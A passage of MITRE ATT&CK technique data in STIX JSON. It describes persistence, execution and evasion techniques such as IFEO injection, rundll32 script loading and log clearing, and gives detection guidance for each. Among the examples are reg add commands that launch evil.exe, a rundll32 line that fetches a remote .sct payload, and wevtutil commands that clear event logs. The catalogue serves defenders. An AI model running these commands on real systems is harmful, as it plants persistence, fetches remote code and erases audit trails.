"https://docs.microsoft.com/windows-server/networking/windows-time-service/windows-time-service-top"}, {"source_name": "Microsoft TimeProvider", "description": "Microsoft. (n.d.). Time Provider. Retrieved March 26, 2018.", "url": "https://msdn.microsoft.com/library/windows/desktop/ms725475.aspx"}, {"source_name": "TechNet Autoruns", "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.", "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["Windows"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_contributors": ["Oddvar Moe, @oddvarmoe"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--62166220-e498-410f-a90a-19d4339d4e99", "type": "attack-pattern", "created": "2018-01-16T16:13:52.465Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": true, "external_references": [{"source_name": "mitre-attack", "external_id": "T1183", "url": "https://attack.mitre.org/techniques/T1183"}, {"url": "https://blogs.msdn.microsoft.com/mithuns/2010/03/24/image-file-execution-options-ifeo/", "description": "Shanbhag, M. (2010, March 24). Image File Execution Options (IFEO). Retrieved December 18, 2017.", "source_name": "Microsoft Dev Blog IFEO Mar 2010"}, {"url": "https://docs.microsoft.com/windows-hardware/drivers/debugger/gflags-overview", "description": "Microsoft. (2017, May 23). GFlags Overview. Retrieved December 18, 2017.", "source_name": "Microsoft GFlags Mar 2017"}, {"url": "https://docs.microsoft.com/windows-hardware/drivers/debugger/registry-entries-for-silent-process-exit", "description": "Marshall, D. & Griffin, S. (2017, November 28). Monitoring Silent Process Exit. Retrieved June 27, 2018.", "source_name": "Microsoft Silent Process Exit NOV 2017"}, {"url": "https://oddvar.moe/2018/04/10/persistence-using-globalflags-in-image-file-execution-options-hidden-from-autoruns-exe/", "description": "Moe, O. (2018, April 10). Persistence using GlobalFlags in Image File Execution Options - Hidden from Autoruns.exe. Retrieved June 27, 2018.", "source_name": "Oddvar Moe IFEO APR 2018"}, {"url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process", "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.", "source_name": "Elastic Process Injection July 2017"}, {"url": "https://www.f-secure.com/v-descs/backdoor_w32_hupigon_emv.shtml", "description": "FSecure. (n.d.). Backdoor - W32/Hupigon.EMV - Threat Description. Retrieved December 18, 2017.", "source_name": "FSecure Hupigon"}, {"url": "https://www.symantec.com/security_response/writeup.jsp?docid=2008-062807-2501-99&tabid=2", "description": "Symantec. (2008, June 28). Trojan.Ushedix. Retrieved December 18, 2017.", "source_name": "Symantec Ushedix June 2008"}], "modified": "2020-11-10T18:29:30.417Z", "name": "Image File Execution Options Injection", "description": "Image File Execution Options (IFEO) enable a developer to attach a debugger to an application. When a process is created, a debugger present in an application\u2019s IFEO will be prepended to the application\u2019s name, effectively launching the new process under the debugger (e.g., \u201cC:\\dbg\\ntsd.exe -g  notepad.exe\u201d). (Citation: Microsoft Dev Blog IFEO Mar 2010)\n\nIFEOs can be set directly via the Registry or in Global Flags via the GFlags tool. (Citation: Microsoft GFlags Mar 2017) IFEOs are represented as <code>Debugger</code> values in the Registry under <code>HKLM\\SOFTWARE{\\Wow6432Node}\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\<executable></code> where <code><executable></code> is the binary on which the debugger is attached. (Citation: Microsoft Dev Blog IFEO Mar 2010)\n\nIFEOs can also enable an arbitrary monitor program to be launched when a specified program silently exits (i.e. is prematurely terminated by itself or a second, non kernel-mode process). (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018) Similar to debuggers, silent exit monitoring can be enabled through GFlags and/or by directly modifying IEFO and silent process exit Registry values in <code>HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\</code>. (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018)\n\nAn example where the evil.exe process is started when notepad.exe exits: (Citation: Oddvar Moe IFEO APR 2018)\n\n* <code>reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\notepad.exe\" /v GlobalFlag /t REG_DWORD /d 512</code>\n* <code>reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\notepad.exe\" /v ReportingMode /t REG_DWORD /d 1</code>\n* <code>reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\notepad.exe\" /v MonitorProcess /d \"C:\\temp\\evil.exe\"</code>\n\nSimilar to [Process Injection](https://attack.mitre.org/techniques/T1055), these values may be abused to obtain persistence and privilege escalation by causing a malicious executable to be loaded and run in the context of separate processes on the computer. (Citation: Elastic Process Injection July 2017) Installing IFEO mechanisms may also provide Persistence via continuous invocation.\n\nMalware may also use IFEO for Defense Evasion by registering invalid debuggers that redirect and effectively disable various system and security applications. (Citation: FSecure Hupigon) (Citation: Symantec Ushedix June 2008)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "privilege-escalation"}, {"kill_chain_name": "mitre-attack", "phase_name": "persistence"}, {"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}], "x_mitre_detection": "Monitor for common processes spawned under abnormal parents and/or with creation flags indicative of debugging such as <code>DEBUG_PROCESS</code> and <code>DEBUG_ONLY_THIS_PROCESS</code>. (Citation: Microsoft Dev Blog IFEO Mar 2010)\n\nMonitor Registry values associated with IFEOs, as well as silent process exit monitoring, for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. (Citation: Elastic Process Injection July 2017)", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_defense_bypassed": ["Autoruns Analysis"], "x_mitre_permissions_required": ["Administrator", "SYSTEM"], "x_mitre_is_subtechnique": false}, {"x_mitre_platforms": ["Windows"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_contributors": ["Ricardo Dias", "Casey Smith"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--62b8c999-dcc0-4755-bd69-09442d9359f5", "type": "attack-pattern", "created": "2017-05-31T21:31:06.045Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": true, "external_references": [{"source_name": "mitre-attack", "external_id": "T1085", "url": "https://attack.mitre.org/techniques/T1085"}, {"source_name": "Trend Micro CPL", "description": "Merces, F. (2014). CPL Malware Malicious Control Panel Items. Retrieved November 1, 2017.", "url": "https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf"}, {"source_name": "This is Security Command Line Confusion", "description": "B. Ancel. (2014, August 20). Poweliks \u2013 Command Line Confusion. Retrieved March 5, 2018.", "url": "https://thisissecurity.stormshield.com/2014/08/20/poweliks-command-line-confusion/"}], "modified": "2020-01-31T19:01:41.919Z", "name": "Rundll32", "description": "The rundll32.exe program can be called to execute an arbitrary binary. Adversaries may take advantage of this functionality to proxy execution of code to avoid triggering security tools that may not monitor execution of the rundll32.exe process because of whitelists or false positives from Windows using rundll32.exe for normal operations.\n\nRundll32.exe can be used to execute Control Panel Item files (.cpl) through the undocumented shell32.dll functions <code>Control_RunDLL</code> and <code>Control_RunDLLAsUser</code>. Double-clicking a .cpl file also causes rundll32.exe to execute. (Citation: Trend Micro CPL)\n\nRundll32 can also been used to execute scripts such as JavaScript. This can be done using a syntax similar to this: <code>rundll32.exe javascript:\"\\..\\mshtml,RunHTMLApplication \";document.write();GetObject(\"script:https[:]//www[.]example[.]com/malicious.sct\")\"</code>  This behavior has been seen used by malware such as Poweliks. (Citation: This is Security Command Line Confusion)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}, {"kill_chain_name": "mitre-attack", "phase_name": "execution"}], "x_mitre_detection": "Use process monitoring to monitor the execution and arguments of rundll32.exe. Compare recent invocations of rundll32.exe with prior history of known good arguments and loaded DLLs to determine anomalous and potentially adversarial activity. Command arguments used with the rundll32.exe invocation may also be useful in determining the origin and purpose of the DLL being loaded.", "x_mitre_version": "1.1", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_defense_bypassed": ["Anti-virus", "Application whitelisting", "Digital Certificate Validation"], "x_mitre_permissions_required": ["User"], "x_mitre_is_subtechnique": false}, {"x_mitre_platforms": ["Windows"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_contributors": ["Travis Smith, Tripwire", "Matthew Demaske, Adaptforward"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--62dfd1ca-52d5-483c-a84b-d6e80bf94b7b", "type": "attack-pattern", "created": "2017-05-31T21:30:34.928Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": true, "external_references": [{"source_name": "mitre-attack", "external_id": "T1031", "url": "https://attack.mitre.org/techniques/T1031"}, {"external_id": "CAPEC-551", "source_name": "capec", "url": "https://capec.mitre.org/data/definitions/551.html"}, {"url": "https://twitter.com/r0wdy_/status/936365549553991680", "description": "The Cyber (@r0wdy_). (2017, November 30). Service Recovery Parameters. Retrieved April 9, 2018.", "source_name": "Twitter Service Recovery Nov 2017"}, {"url": "https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/cc753662(v=ws.11)", "description": "Microsoft. (2013, February 22). Set up Recovery Actions to Take Place When a Service Fails. Retrieved April 9, 2018.", "source_name": "Microsoft Service Recovery Feb 2013"}, {"url": "https://technet.microsoft.com/en-us/sysinternals/bb963902", "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.", "source_name": "TechNet Autoruns"}], "modified": "2020-03-16T16:05:53.825Z", "name": "Modify Existing Service", "description": "Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Registry. Service configurations can be modified using utilities such as sc.exe and [Reg](https://attack.mitre.org/software/S0075).\n\nAdversaries can modify an existing service to persist malware on a system by using system utilities or by using custom tools to interact with the Windows API. Use of existing services is a type of [Masquerading](https://attack.mitre.org/techniques/T1036) that may make detection analysis more challenging. Modifying existing services may interrupt their functionality or may enable services that are disabled or otherwise not commonly used.\n\nAdversaries may also intentionally corrupt or kill services to execute malicious recovery programs/commands. (Citation: Twitter Service Recovery Nov 2017) (Citation: Microsoft Service Recovery Feb 2013)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "persistence"}], "x_mitre_detection": "Look for changes to service Registry entries that do not correlate with known software, patch cycles, etc. Changes to the binary path and the service startup type changed from manual or disabled to automatic, if it does not typically do so, may be suspicious. Tools such as Sysinternals Autoruns may also be used to detect system service changes that could be attempts at persistence. (Citation: TechNet Autoruns) \n\nService information is stored in the Registry at <code>HKLM\\SYSTEM\\CurrentControlSet\\Services</code>.\n\nCommand-line invocation of tools capable of modifying services may be unusual, depending on how systems are typically used in a particular environment. Collect service utility execution and service binary path arguments used for analysis. Service binary paths may even be changed to execute [cmd](https://attack.mitre.org/software/S0106) commands or scripts.\n\nLook for abnormal process call trees from known services and for execution of other commands that could relate to Discovery or other adversary techniques. Services may also be modified through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086), so additional logging may need to be configured to gather the appropriate data.", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_permissions_required": ["Administrator", "SYSTEM"], "x_mitre_is_subtechnique": false}, {"x_mitre_platforms": ["macOS", "Linux"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--63220765-d418-44de-8fae-694b3912317d", "type": "attack-pattern", "created": "2020-01-24T14:17:43.906Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1546.005", "url": "https://attack.mitre.org/techniques/T1546/005"}, {"source_name": "Trap Manual", "url": "https://ss64.com/bash/trap.html", "description": "ss64. (n.d.). trap. Retrieved May 21, 2019."}, {"source_name": "Cyberciti Trap Statements", "url": "https://bash.cyberciti.biz/guide/Trap_statement", "description": "Cyberciti. (2016, March 29). Trap statement. Retrieved May 21, 2019."}], "modified": "2020-03-24T16:43:02.273Z", "name": "Trap", "description": "Adversaries may establish persistence by executing malicious content triggered by an interrupt signal. The <code>trap</code> command allows programs and shells to specify commands that will be executed upon receiving interrupt signals. A common situation is a script allowing for graceful termination and handling of common keyboard interrupts like <code>ctrl+c</code> and <code>ctrl+d</code>.\n\nAdversaries can use this to register code to be executed when the shell encounters specific interrupts as a persistence mechanism. Trap commands are of the following format <code>trap 'command list' signals</code> where \"command list\" will be executed when \"signals\" are received.(Citation: Trap Manual)(Citation: Cyberciti Trap Statements)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "privilege-escalation"}, {"kill_chain_name": "mitre-attack", "phase_name": "persistence"}], "x_mitre_detection": "Trap commands must be registered for the shell or programs, so they appear in files. Monitoring files for suspicious or overly broad trap commands can narrow down suspicious behavior during an investigation. Monitor for suspicious processes executed through trap interrupts.", "x_mitre_is_subtechnique": true, "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_data_sources": ["File: File Creation", "Process: Process Creation", "Command: Command Execution", "File: File Modification"], "x_mitre_permissions_required": ["User", "Administrator"]}, {"modified": "2023-03-30T21:01:40.146Z", "name": "Dynamic Linker Hijacking", "description": "Adversaries may execute their own malicious payloads by hijacking environment variables the dynamic linker uses to load shared libraries. During the execution preparation phase of a program, the dynamic linker loads specified absolute paths of shared libraries from environment variables and files, such as <code>LD_PRELOAD</code> on Linux or <code>DYLD_INSERT_LIBRARIES</code> on macOS. Libraries specified in environment variables are loaded first, taking precedence over system libraries with the same function name.(Citation: Man LD.SO)(Citation: TLDP Shared Libraries)(Citation: Apple Doco Archive Dynamic Libraries) These variables are often used by developers to debug binaries without needing to recompile, deconflict mapped symbols, and implement custom functions without changing the original library.(Citation: Baeldung LD_PRELOAD)\n\nOn Linux and macOS, hijacking dynamic linker variables may grant access to the victim process's memory, system/network resources, and possibly elevated privileges. This method may also evade detection from security products since the execution is masked under a legitimate process. Adversaries can set environment variables via the command line using the <code>export</code> command, <code>setenv</code> function, or <code>putenv</code> function. Adversaries can also leverage [Dynamic Linker Hijacking](https://attack.mitre.org/techniques/T1574/006) to export variables in a shell or set variables programmatically using higher level syntax such Python\u2019s <code>os.environ</code>.\n\nOn Linux, adversaries may set <code>LD_PRELOAD</code> to point to malicious libraries that match the name of legitimate libraries which are requested by a victim program, causing the operating system to load the adversary's malicious code upon execution of the victim program. <code>LD_PRELOAD</code> can be set via the environment variable or <code>/etc/ld.so.preload</code> file.(Citation: Man LD.SO)(Citation: TLDP Shared Libraries) Libraries specified by <code>LD_PRELOAD</code> are loaded and mapped into memory by <code>dlopen()</code> and <code>mmap()</code> respectively.(Citation: Code Injection on Linux and macOS)(Citation: Uninformed Needle) (Citation: Phrack halfdead 1997)(Citation: Brown Exploiting Linkers) \n\nOn macOS this behavior is conceptually the same as on Linux, differing only in how the macOS dynamic libraries (dyld) is implemented at a lower level. Adversaries can set the <code>DYLD_INSERT_LIBRARIES</code> environment variable to point to malicious libraries containing names of legitimate libraries or functions requested by a victim program.(Citation: TheEvilBit DYLD_INSERT_LIBRARIES)(Citation: Timac DYLD_INSERT_LIBRARIES)(Citation: Gabilondo DYLD_INSERT_LIBRARIES Catalina Bypass) ", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "persistence"}, {"kill_chain_name": "mitre-attack", "phase_name": "privilege-escalation"}, {"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}], "x_mitre_detection": "Monitor for changes to environment variables and files associated with loading shared libraries such as <code>LD_PRELOAD</code> and <code>DYLD_INSERT_LIBRARIES</code>, as well as the commands to implement these changes.\n\nMonitor processes for unusual activity (e.g., a process that does not use the network begins to do so). Track library metadata, such as a hash, and compare libraries that are loaded at process execution time against previous executions to detect differences that do not correlate with patching or updates.", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_platforms": ["Linux", "macOS"], "x_mitre_version": "2.0", "x_mitre_data_sources": ["File: File Creation", "Command: Command Execution", "Module: Module Load", "Process: Process Creation", "File: File Modification"], "x_mitre_permissions_required": ["User"], "type": "attack-pattern", "id": "attack-pattern--633a100c-b2c9-41bf-9be5-905c1b16c825", "created": "2020-03-13T20:09:59.569Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1574/006", "external_id": "T1574.006"}, {"source_name": "Man LD.SO", "description": "Kerrisk, M. (2020, June 13). Linux Programmer's Manual. Retrieved June 15, 2020.", "url": "https://www.man7.org/linux/man-pages/man8/ld.so.8.html"}, {"source_name": "TLDP Shared Libraries", "description": "The Linux Documentation Project. (n.d.). Shared Libraries. Retrieved January 31, 2020.", "url": "https://www.tldp.org/HOWTO/Program-Library-HOWTO/shared-libraries.html"}, {"source_name": "Apple Doco Archive Dynamic Libraries", "description": "Apple Inc.. (2012, July 23). Overview of Dynamic Libraries. Retrieved March 24, 2021.", "url": "https://developer.apple.com/library/archive/documentation/DeveloperTools/Conceptual/DynamicLibraries/100-Articles/OverviewOfDynamicLibraries.html"}, {"source_name": "Baeldung LD_PRELOAD", "description": "baeldung. (2020, August 9). What Is the LD_PRELOAD Trick?. Retrieved March 24, 2021.", "url": "https://www.baeldung.com/linux/ld_preload-trick-what-is"}, {"source_name": "Code Injection on Linux and macOS", "description": "Itamar Turner-Trauring. (2017, April 18). \u201cThis will only hurt for a moment\u201d: code injection on Linux and macOS with LD_PRELOAD. Retrieved December 20, 2017.", "url": "https://www.datawire.io/code-injection-on-linux-and-macos/"}, {"source_name": "Uninformed Needle", "description": "skape. (2003, January 19). Linux x86 run-time process manipulation. Retrieved December 20, 2017.", "url": "http://hick.org/code/skape/papers/needle.txt"}, {"source_name": "Phrack halfdead 1997", "description": "halflife. (1997, September 1). Shared Library Redirection Techniques. Retrieved December 20, 2017.", "url": "http://phrack.org/issues/51/8.html"}, {"source_name": "Brown Exploiting Linkers", "description": "Tim Brown. (2011, June 29). Breaking the links: Exploiting the linker. Retrieved March 29, 2021.", "url": "http://www.nth-dimension.org.uk/pub/BTL.pdf"}, {"source_name": "TheEvilBit DYLD_INSERT_LIBRARIES", "description": "Fitzl, C. (2019, July 9). DYLD_INSERT_LIBRARIES DYLIB injection in macOS / OSX. Retrieved March 26, 2020.", "url": "https://theevilbit.github.io/posts/dyld_insert_libraries_dylib_injection_in_macos_osx_deep_dive/"}, {"source_name": "Timac DYLD_INSERT_LIBRARIES", "description": "Timac. (2012, December 18). Simple code injection using DYLD_INSERT_LIBRARIES. Retrieved March 26, 2020.", "url": "https://blog.timac.org/2012/1218-simple-code-injection-using-dyld_insert_libraries/"}, {"source_name": "Gabilondo DYLD_INSERT_LIBRARIES Catalina Bypass", "description": "Jon Gabilondo. (2019, September 22). How to Inject Code into Mach-O Apps. Part II.. Retrieved March 24, 2021.", "url": "https://jon-gabilondo-angulo-7635.medium.com/how-to-inject-code-into-mach-o-apps-part-ii-ddb13ebc8191"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.1.0"}, {"modified": "2023-10-16T17:40:37.995Z", "name": "Local Account", "description": "Adversaries may create a local account to maintain access to victim systems. Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service. \n\nFor example, with a sufficient level of access, the Windows <code>net user /add</code> command can be used to create a local account. On macOS systems the <code>dscl -create</code> command can be used to create a local account. Local accounts may also be added to network devices, often via common [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as <code>username</code>, or to Kubernetes clusters using the `kubectl` utility.(Citation: cisco_username_cmd)(Citation: Kubernetes Service Accounts Security)\n\nSuch accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "persistence"}], "x_mitre_contributors": ["Austin Clark, @c2defense"], "x_mitre_deprecated": false, "x_mitre_detection": "Monitor for processes and command-line parameters associated with local account creation, such as <code>net user /add</code> , <code>useradd</code> , and <code>dscl -create</code> . Collect data on account creation within a network. Event ID 4720 is generated when a user account is created on a Windows system. (Citation: Microsoft User Creation Event) Perform regular audits of local system accounts to detect suspicious accounts that may have been created by an adversary. For network infrastructure devices, collect AAA logging to monitor for account creations.", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["Linux", "macOS", "Windows", "Network", "Containers"], "x_mitre_version": "1.3", "x_mitre_data_sources": ["User Account: User Account Creation", "Process: Process Creation", "Command: Command Execution"], "type": "attack-pattern", "id": "attack-pattern--635cbe30-392d-4e27-978e-66774357c762", "created": "2020-01-28T13:50:22.506Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1136/001", "external_id": "T1136.001"}, {"source_name": "cisco_username_cmd", "description": "Cisco. (2023, March 6). username - Cisco IOS Security Command Reference: Commands S to Z. Retrieved July 13, 2022.", "url": "https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/security/s1/sec-s1-cr-book/sec-cr-t2.html#wp1047035630"}, {"source_name": "Kubernetes Service Accounts Security", "description": "Kubernetes. (n.d.). Service Accounts. Retrieved July 14, 2023.", "url": "https://kubernetes.io/docs/concepts/security/service-accounts/"}, {"source_name": "Microsoft User Creation Event", "description": "Lich, B., Miroshnikov, A. (2017, April 5). 4720(S): A user account was created. Retrieved June 30, 2017.", "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4720"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2024-01-31T03:17:42.004Z", "name": "Communication Through Removable Media", "description": "Adversaries can perform command and control between compromised hosts on potentially disconnected networks using removable media to transfer commands from system to system.(Citation: ESET Sednit USBStealer 2014) Both systems would need to be compromised, with the likelihood that an Internet-connected system was compromised first and the second through lateral movement by [Replication Through Removable Media](https://attack.mitre.org/techniques/T1091). Commands and files would be relayed from the disconnected system to the Internet-connected system to which the adversary has direct access.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "command-and-control"}], "x_mitre_deprecated": false, "x_mitre_detection": "Monitor file access on removable media. Detect processes that execute when removable media is mounted.", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": false, "x_mitre_platforms": ["Linux", "macOS", "Windows"], "x_mitre_version": "1.0", "x_mitre_data_sources": ["Drive: Drive Creation", "Drive: Drive Access"], "type": "attack-pattern", "id": "attack-pattern--64196062-5210-42c3-9a02-563a0d1797ef", "created": "2017-05-31T21:31:09.379Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1092", "external_id": "T1092"}, {"source_name": "ESET Sednit USBStealer 2014", "description": "Calvet, J. (2014, November 11). Sednit Espionage Group Attacking Air-Gapped Networks. Retrieved January 4, 2017.", "url": "http://www.welivesecurity.com/2014/11/11/sednit-espionage-group-attacking-air-gapped-networks/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2024-04-16T12:40:58.536Z", "name": "Clear Windows Event Logs", "description": "Adversaries may clear Windows Event Logs to hide the activity of an intrusion. Windows Event Logs are a record of a computer's alerts and notifications. There are three system-defined sources of events: System, Application, and Security, with five event types: Error, Warning, Information, Success Audit, and Failure Audit.\n\n\nWith administrator privileges, the event logs can be cleared with the following utility commands:\n\n* <code>wevtutil cl system</code>\n* <code>wevtutil cl application</code>\n* <code>wevtutil cl security</code>\n\nThese logs may also be cleared through other mechanisms, such as the event viewer GUI or [PowerShell](https://attack.mitre.org/techniques/T1059/001). For example, adversaries may use the PowerShell command <code>Remove-EventLog -LogName Security</code> to delete the Security EventLog and after reboot, disable future logging.  Note: events may still be generated and logged in the .evtx file between the time the command is run and the reboot.(Citation: disable_win_evt_logging)\n\nAdversaries may also attempt to clear logs by directly deleting the stored log files within `C:\\Windows\\System32\\winevt\\logs\\`.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}], "x_mitre_contributors": ["Lucas Heiligenstein"], "x_mitre_deprecated": false, "x_mitre_detection": "Deleting Windows event logs (via native binaries (Citation: Microsoft wevtutil Oct 2017), API functions (Citation: Microsoft EventLog.Clear), or [PowerShell](https://attack.mitre.org/techniques/T1059/001) (Citation: Microsoft Clear-EventLog)) may also generate an alterable event (Event ID 1102: \"The audit log was cleared\").", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["Windows"], "x_mitre_version": "1.4", "x_mitre_data_sources": ["Command: Command Execution", "File: File Deletion", "Process: OS API Execution", "Process: Process Creation"], "x_mitre_defense_bypassed": ["Anti Virus", "Host Intrusion Prevention Systems", "Log Analysis"], "type": "attack-pattern", "id": "attack-pattern--6495ae23-3ab4-43c5-a94f-5638a2c31fd2", "created": "2020-01-28T17:05:14.707Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1070/001", "external_id": "T1070.001"}, {"source_name": "disable_win_evt_logging", "description": "Heiligenstein, L. (n.d.). REP-25: Disable Windows Event Logging. Retrieved April 7, 2022.", "url": "https://ptylu.github.io/content/report/report.html?report=25"}, {"source_name": "Microsoft Clear-EventLog", "description": "Microsoft. (n.d.). Clear-EventLog. Retrieved July 2, 2018.", "url": "https://docs.microsoft.com/powershell/module/microsoft.powershell.management/clear-eventlog"}, {"source_name": "Microsoft EventLog.Clear", "description": "Microsoft. (n.d.). EventLog.Clear Method (). Retrieved July 2, 2018.", "url": "https://msdn.microsoft.com/library/system.diagnostics.eventlog.clear.aspx"}, {"source_name": "Microsoft wevtutil Oct 2017", "description": "Plett, C. et al.. (2017, October 16). wevtutil. Retrieved July 2, 2018.", "url": "https://docs.microsoft.com/windows-server/administration/windows-commands/wevtutil"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2024-02-28T21:11:27.088Z", "name": "Email Accounts", "description": "Adversaries may create email accounts that can be used during targeting. Adversaries can use accounts created with email providers to further their operations, such as leveraging them to conduct [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Phishing](https://attack.mitre.org/techniques/T1566).(Citation: Mandiant APT1) Establishing email accounts may also allow adversaries to abuse free services \u2013 such as trial periods \u2013 to [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) for follow-on purposes.(Citation: Free Trial PurpleUrchin)\n\nAdversaries may also take steps to cultivate a persona around the email account, such as through use of [Social Media Accounts](https://attack.mitre.org/techniques/T1585/001), to increase the chance of success of follow-on behaviors. Created email accounts can also be used in the acquisition of infrastructure (ex: [Domains](https://attack.mitre.org/techniques/T1583/001)).(Citation: Mandiant APT1)\n\nTo decrease the chance of physically tying back operations to themselves, adversaries may make use of disposable email services.(Citation: Trend Micro R980 2016) ", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "resource-development"}], "x_mitre_deprecated": false, "x_mitre_detection": "Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)).", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["PRE"], "x_mitre_version": "1.1", "type": "attack-pattern", "id": "attack-pattern--65013dd2-bc61-43e3-afb5-a14c4fa7437a", "created": "2020-10-01T01:09:53.217Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1585/002", "external_id": "T1585.002"}, {"source_name": "Trend Micro R980 2016", "description": "Antazo, F. and Yambao, M. (2016, August 10). R980 Ransomware Found Abusing Disposable Email Address Service. Retrieved October 13, 